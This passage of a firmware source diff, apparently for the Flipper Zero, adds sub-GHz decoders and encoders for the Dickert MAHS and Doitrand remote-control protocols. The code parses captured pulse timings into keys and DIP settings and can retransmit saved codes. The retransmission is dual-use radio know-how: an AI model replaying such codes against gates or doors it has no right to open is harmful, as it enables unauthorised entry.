level_duration_make(true, (uint32_t)subghz_protocol_dickert_mahs_const.te_short);
|
||||
} else {
|
||||
//send bit 0
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_dickert_mahs_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_dickert_mahs_const.te_long);
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_dickert_mahs_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderDickertMAHS* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
|
||||
// Allow for longer keys (<) instead of !=
|
||||
if((instance->generic.data_count_bit <
|
||||
subghz_protocol_dickert_mahs_const.min_count_bit_for_found)) {
|
||||
FURI_LOG_E(TAG, "Wrong number of bits in key");
|
||||
ret = SubGhzProtocolStatusErrorValueBitCount;
|
||||
break;
|
||||
}
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
if(!subghz_protocol_encoder_dickert_mahs_get_upload(instance)) {
|
||||
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
|
||||
break;
|
||||
}
|
||||
instance->encoder.is_running = true;
|
||||
} while(false);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_dickert_mahs_stop(void* context) {
|
||||
SubGhzProtocolEncoderDickertMAHS* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_dickert_mahs_yield(void* context) {
|
||||
SubGhzProtocolEncoderDickertMAHS* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_dickert_mahs_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderDickertMAHS* instance = malloc(sizeof(SubGhzProtocolDecoderDickertMAHS));
|
||||
instance->base.protocol = &subghz_protocol_dickert_mahs;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
instance->tmp_cnt = 0;
|
||||
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_dickert_mahs_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDickertMAHS* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_dickert_mahs_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDickertMAHS* instance = context;
|
||||
instance->decoder.parser_step = DickertMAHSDecoderStepReset;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_dickert_mahs_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDickertMAHS* instance = context;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case DickertMAHSDecoderStepReset:
|
||||
// Check if done
|
||||
if(instance->decoder.decode_count_bit >=
|
||||
subghz_protocol_dickert_mahs_const.min_count_bit_for_found) {
|
||||
instance->generic.serial = 0x0;
|
||||
instance->generic.btn = 0x0;
|
||||
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
}
|
||||
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_dickert_mahs_const.te_long * 50) <
|
||||
subghz_protocol_dickert_mahs_const.te_delta * 70)) {
|
||||
//Found header DICKERT_MAHS 44k us
|
||||
instance->decoder.parser_step = DickertMAHSDecoderStepInitial;
|
||||
}
|
||||
break;
|
||||
case DickertMAHSDecoderStepInitial:
|
||||
if(!level) {
|
||||
break;
|
||||
} else if(
|
||||
DURATION_DIFF(duration, subghz_protocol_dickert_mahs_const.te_short) <
|
||||
subghz_protocol_dickert_mahs_const.te_delta) {
|
||||
//Found start bit DICKERT_MAHS
|
||||
instance->decoder.parser_step = DickertMAHSDecoderStepRecording;
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
} else {
|
||||
instance->decoder.parser_step = DickertMAHSDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
case DickertMAHSDecoderStepRecording:
|
||||
if((!level && instance->tmp_cnt == 0) || (level && instance->tmp_cnt == 1)) {
|
||||
instance->tmp[instance->tmp_cnt] = duration;
|
||||
|
||||
instance->tmp_cnt++;
|
||||
|
||||
if(instance->tmp_cnt == 2) {
|
||||
if(DURATION_DIFF(instance->tmp[0] + instance->tmp[1], 1200) <
|
||||
subghz_protocol_dickert_mahs_const.te_delta) {
|
||||
if(DURATION_DIFF(instance->tmp[0], subghz_protocol_dickert_mahs_const.te_long) <
|
||||
subghz_protocol_dickert_mahs_const.te_delta) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
} else if(
|
||||
DURATION_DIFF(
|
||||
instance->tmp[0], subghz_protocol_dickert_mahs_const.te_short) <
|
||||
subghz_protocol_dickert_mahs_const.te_delta) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
}
|
||||
|
||||
instance->tmp_cnt = 0;
|
||||
} else {
|
||||
instance->tmp_cnt = 0;
|
||||
instance->decoder.parser_step = DickertMAHSDecoderStepReset;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
instance->tmp_cnt = 0;
|
||||
instance->decoder.parser_step = DickertMAHSDecoderStepReset;
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_dickert_mahs_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDickertMAHS* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_dickert_mahs_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDickertMAHS* instance = context;
|
||||
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_dickert_mahs_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDickertMAHS* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
|
||||
// Allow for longer keys (<) instead of !=
|
||||
if((instance->generic.data_count_bit <
|
||||
subghz_protocol_dickert_mahs_const.min_count_bit_for_found)) {
|
||||
FURI_LOG_E(TAG, "Wrong number of bits in key");
|
||||
ret = SubGhzProtocolStatusErrorValueBitCount;
|
||||
break;
|
||||
}
|
||||
} while(false);
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_dickert_mahs_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
subghz_protocol_encoder_dickert_mahs_parse_buffer(context, output);
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
#pragma once
|
||||
|
||||
#include "base.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_DICKERT_MAHS_NAME "Dickert_MAHS"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderDickertMAHS SubGhzProtocolDecoderDickertMAHS;
|
||||
typedef struct SubGhzProtocolEncoderDickertMAHS SubGhzProtocolEncoderDickertMAHS;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_dickert_mahs_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_dickert_mahs_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_dickert_mahs;
|
||||
|
||||
/** Allocate SubGhzProtocolEncoderDickertMAHS.
|
||||
*
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
*
|
||||
* @return pointer to a SubGhzProtocolEncoderDickertMAHS instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_dickert_mahs_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/** Free SubGhzProtocolEncoderDickertMAHS.
|
||||
*
|
||||
* @param context Pointer to a SubGhzProtocolEncoderDickertMAHS instance
|
||||
*/
|
||||
void subghz_protocol_encoder_dickert_mahs_free(void* context);
|
||||
|
||||
/** Deserialize and generating an upload to send.
|
||||
*
|
||||
* @param context Pointer to a SubGhzProtocolEncoderDickertMAHS
|
||||
* instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
*
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_dickert_mahs_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/** Forced transmission stop.
|
||||
*
|
||||
* @param context Pointer to a SubGhzProtocolEncoderDickertMAHS instance
|
||||
*/
|
||||
void subghz_protocol_encoder_dickert_mahs_stop(void* context);
|
||||
|
||||
/** Getting the level and duration of the upload to be loaded into DMA.
|
||||
*
|
||||
* @param context Pointer to a SubGhzProtocolEncoderDickertMAHS instance
|
||||
*
|
||||
* @return LevelDuration
|
||||
*/
|
||||
LevelDuration subghz_protocol_encoder_dickert_mahs_yield(void* context);
|
||||
|
||||
/** Allocate SubGhzProtocolDecoderDickertMAHS.
|
||||
*
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
*
|
||||
* @return pointer to a SubGhzProtocolDecoderDickertMAHS instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_dickert_mahs_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/** Free SubGhzProtocolDecoderDickertMAHS.
|
||||
*
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDickertMAHS instance
|
||||
*/
|
||||
void subghz_protocol_decoder_dickert_mahs_free(void* context);
|
||||
|
||||
/** Reset decoder SubGhzProtocolDecoderDickertMAHS.
|
||||
*
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDickertMAHS instance
|
||||
*/
|
||||
void subghz_protocol_decoder_dickert_mahs_reset(void* context);
|
||||
|
||||
/** Parse a raw sequence of levels and durations received from the air.
|
||||
*
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDickertMAHS instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_dickert_mahs_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/** Getting the hash sum of the last randomly received parcel.
|
||||
*
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDickertMAHS instance
|
||||
*
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_dickert_mahs_get_hash_data(void* context);
|
||||
|
||||
/** Serialize data SubGhzProtocolDecoderDickertMAHS.
|
||||
*
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDickertMAHS
|
||||
* instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received,
|
||||
* SubGhzRadioPreset
|
||||
*
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_dickert_mahs_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/** Deserialize data SubGhzProtocolDecoderDickertMAHS.
|
||||
*
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDickertMAHS
|
||||
* instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
*
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_dickert_mahs_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/** Getting a textual representation of the received data.
|
||||
*
|
||||
* @param context Pointer to a SubGhzProtocolDecoderDickertMAHS instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_dickert_mahs_get_string(void* context, FuriString* output);
|
||||
@@ -0,0 +1,355 @@
|
||||
#include "doitrand.h"
|
||||
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
|
||||
#define TAG "SubGhzProtocolDoitrand"
|
||||
|
||||
#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c%c"
|
||||
#define CNT_TO_DIP(dip) \
|
||||
(dip & 0x0001 ? '1' : '0'), (dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'), \
|
||||
(dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'), (dip & 0x1000 ? '1' : '0'), \
|
||||
(dip & 0x0800 ? '1' : '0'), (dip & 0x0400 ? '1' : '0'), (dip & 0x0200 ? '1' : '0'), \
|
||||
(dip & 0x0002 ? '1' : '0')
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_doitrand_const = {
|
||||
.te_short = 400,
|
||||
.te_long = 1100,
|
||||
.te_delta = 150,
|
||||
.min_count_bit_for_found = 37,
|
||||
};
|
||||
|
||||
struct SubGhzProtocolDecoderDoitrand {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderDoitrand {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
DoitrandDecoderStepReset = 0,
|
||||
DoitrandDecoderStepFoundStartBit,
|
||||
DoitrandDecoderStepSaveDuration,
|
||||
DoitrandDecoderStepCheckDuration,
|
||||
} DoitrandDecoderStep;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_doitrand_decoder = {
|
||||
.alloc = subghz_protocol_decoder_doitrand_alloc,
|
||||
.free = subghz_protocol_decoder_doitrand_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_doitrand_feed,
|
||||
.reset = subghz_protocol_decoder_doitrand_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_doitrand_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_doitrand_serialize,
|
||||
.deserialize = subghz_protocol_decoder_doitrand_deserialize,
|
||||
.get_string = subghz_protocol_decoder_doitrand_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_doitrand_encoder = {
|
||||
.alloc = subghz_protocol_encoder_doitrand_alloc,
|
||||
.free = subghz_protocol_encoder_doitrand_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_doitrand_deserialize,
|
||||
.stop = subghz_protocol_encoder_doitrand_stop,
|
||||
.yield = subghz_protocol_encoder_doitrand_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_doitrand = {
|
||||
.name = SUBGHZ_PROTOCOL_DOITRAND_NAME,
|
||||
.type = SubGhzProtocolTypeStatic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
|
||||
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
|
||||
|
||||
.decoder = &subghz_protocol_doitrand_decoder,
|
||||
.encoder = &subghz_protocol_doitrand_encoder,
|
||||
};
|
||||
|
||||
void* subghz_protocol_encoder_doitrand_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolEncoderDoitrand* instance = malloc(sizeof(SubGhzProtocolEncoderDoitrand));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_doitrand;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
|
||||
instance->encoder.repeat = 3;
|
||||
instance->encoder.size_upload = 128;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_doitrand_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderDoitrand* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
/**
|
||||
* Generating an upload from data.
|
||||
* @param instance Pointer to a SubGhzProtocolEncoderDoitrand instance
|
||||
* @return true On success
|
||||
*/
|
||||
static bool subghz_protocol_encoder_doitrand_get_upload(SubGhzProtocolEncoderDoitrand* instance) {
|
||||
furi_assert(instance);
|
||||
size_t index = 0;
|
||||
size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
|
||||
if(size_upload > instance->encoder.size_upload) {
|
||||
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
|
||||
return false;
|
||||
} else {
|
||||
instance->encoder.size_upload = size_upload;
|
||||
}
|
||||
//Send header
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_doitrand_const.te_short * 62);
|
||||
//Send start bit
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_doitrand_const.te_short * 2 - 100);
|
||||
//Send key data
|
||||
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
|
||||
if(bit_read(instance->generic.data, i - 1)) {
|
||||
//send bit 1
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_doitrand_const.te_long);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_doitrand_const.te_short);
|
||||
} else {
|
||||
//send bit 0
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_doitrand_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_doitrand_const.te_long);
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_doitrand_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderDoitrand* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_doitrand_const.min_count_bit_for_found);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
if(!subghz_protocol_encoder_doitrand_get_upload(instance)) {
|
||||
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
|
||||
break;
|
||||
}
|
||||
instance->encoder.is_running = true;
|
||||
} while(false);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_doitrand_stop(void* context) {
|
||||
SubGhzProtocolEncoderDoitrand* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_doitrand_yield(void* context) {
|
||||
SubGhzProtocolEncoderDoitrand* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_doitrand_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderDoitrand* instance = malloc(sizeof(SubGhzProtocolDecoderDoitrand));
|
||||
instance->base.protocol = &subghz_protocol_doitrand;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_doitrand_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDoitrand* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_doitrand_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDoitrand* instance = context;
|
||||
instance->decoder.parser_step = DoitrandDecoderStepReset;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_doitrand_feed(void* context, bool level, uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDoitrand* instance = context;
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case DoitrandDecoderStepReset:
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_doitrand_const.te_short * 62) <
|
||||
subghz_protocol_doitrand_const.te_delta * 30)) {
|
||||
//Found Preambula
|
||||
instance->decoder.parser_step = DoitrandDecoderStepFoundStartBit;
|
||||
}
|
||||
break;
|
||||
case DoitrandDecoderStepFoundStartBit:
|
||||
if(level && (DURATION_DIFF(duration, (subghz_protocol_doitrand_const.te_short * 2)) <
|
||||
subghz_protocol_doitrand_const.te_delta * 3)) {
|
||||
//Found start bit
|
||||
instance->decoder.parser_step = DoitrandDecoderStepSaveDuration;
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
} else {
|
||||
instance->decoder.parser_step = DoitrandDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
case DoitrandDecoderStepSaveDuration:
|
||||
if(!level) {
|
||||
if(duration >= ((uint32_t)subghz_protocol_doitrand_const.te_short * 10 +
|
||||
subghz_protocol_doitrand_const.te_delta)) {
|
||||
instance->decoder.parser_step = DoitrandDecoderStepFoundStartBit;
|
||||
if(instance->decoder.decode_count_bit ==
|
||||
subghz_protocol_doitrand_const.min_count_bit_for_found) {
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
break;
|
||||
} else {
|
||||
instance->decoder.te_last = duration;
|
||||
instance->decoder.parser_step = DoitrandDecoderStepCheckDuration;
|
||||
}
|
||||
}
|
||||
break;
|
||||
case DoitrandDecoderStepCheckDuration:
|
||||
if(level) {
|
||||
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_doitrand_const.te_short) <
|
||||
subghz_protocol_doitrand_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_doitrand_const.te_long) <
|
||||
subghz_protocol_doitrand_const.te_delta * 3)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
instance->decoder.parser_step = DoitrandDecoderStepSaveDuration;
|
||||
} else if(
|
||||
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_doitrand_const.te_long) <
|
||||
subghz_protocol_doitrand_const.te_delta * 3) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_doitrand_const.te_short) <
|
||||
subghz_protocol_doitrand_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
instance->decoder.parser_step = DoitrandDecoderStepSaveDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = DoitrandDecoderStepReset;
|
||||
}
|
||||
} else {
|
||||
instance->decoder.parser_step = DoitrandDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Analysis of received data
|
||||
* @param instance Pointer to a SubGhzBlockGeneric* instance
|
||||
*/
|
||||
static void subghz_protocol_doitrand_check_remote_controller(SubGhzBlockGeneric* instance) {
|
||||
/*
|
||||
* 67892345 0 k 1
|
||||
* 0000082F5F => 00000000000000000 10 000010111101011111
|
||||
* 0002082F5F => 00000000000100000 10 000010111101011111
|
||||
* 0200082F5F => 00010000000000000 10 000010111101011111
|
||||
* 0400082F5F => 00100000000000000 10 000010111101011111
|
||||
* 0800082F5F => 01000000000000000 10 000010111101011111
|
||||
* 1000082F5F => 10000000000000000 10 000010111101011111
|
||||
* 0020082F5F => 00000001000000000 10 000010111101011111
|
||||
* 0040082F5F => 00000010000000000 10 000010111101011111
|
||||
* 0080082F5F => 00000100000000000 10 000010111101011111
|
||||
* 0100082F5F => 00001000000000000 10 000010111101011111
|
||||
* 000008AF5F => 00000000000000000 10 001010111101011111
|
||||
* 1FE208AF5F => 11111111000100000 10 001010111101011111
|
||||
*
|
||||
* 0...9 - DIP
|
||||
* k- KEY
|
||||
*/
|
||||
instance->cnt = (instance->data >> 24) | ((instance->data >> 15) & 0x1);
|
||||
instance->btn = ((instance->data >> 18) & 0x3);
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_doitrand_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDoitrand* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_doitrand_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDoitrand* instance = context;
|
||||
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_doitrand_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDoitrand* instance = context;
|
||||
return subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_doitrand_const.min_count_bit_for_found);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_doitrand_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderDoitrand* instance = context;
|
||||
subghz_protocol_doitrand_check_remote_controller(&instance->generic);
|
||||
|
||||
// push protocol data to global variable
|
||||
subghz_block_generic_global.btn_is_available = false;
|
||||
subghz_block_generic_global.current_btn = instance->generic.btn;
|
||||
subghz_block_generic_global.btn_length_bit = 2;
|
||||
//
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"Key:%02lX%08lX\r\n"
|
||||
"Btn:%X\r\n"
|
||||
"DIP:" DIP_PATTERN "\r\n",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
(uint32_t)(instance->generic.data >> 32) & 0xFFFFFFFF,
|
||||
(uint32_t)(instance->generic.data & 0xFFFFFFFF),
|
||||
instance->generic.btn,
|
||||
CNT_TO_DIP(instance->generic.cnt));
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
#pragma once
|
||||
|
||||
#include "base.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_DOITRAND_NAME "Doitrand"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderDoitrand SubGhzProtocolDecoderDoitrand;
|
||||
typedef struct SubGhzProtocolEncoderDoitrand SubGhzProtocolEncoderDoitrand;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_doitrand_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_doitrand_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_doitrand;
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolEncoderDoitrand.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolEncoderDoitrand* pointer to a SubGhzProtocolEncoderDoitrand instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_doitrand_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolEncoderDoitrand.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderDoitrand instance
|
||||
*/
|
||||
void subghz_protocol_encoder_doitrand_free(void* context);
|
||||
|
||||
/**
|
||||
* Deserialize and generating an upload to send.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderDoitrand instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
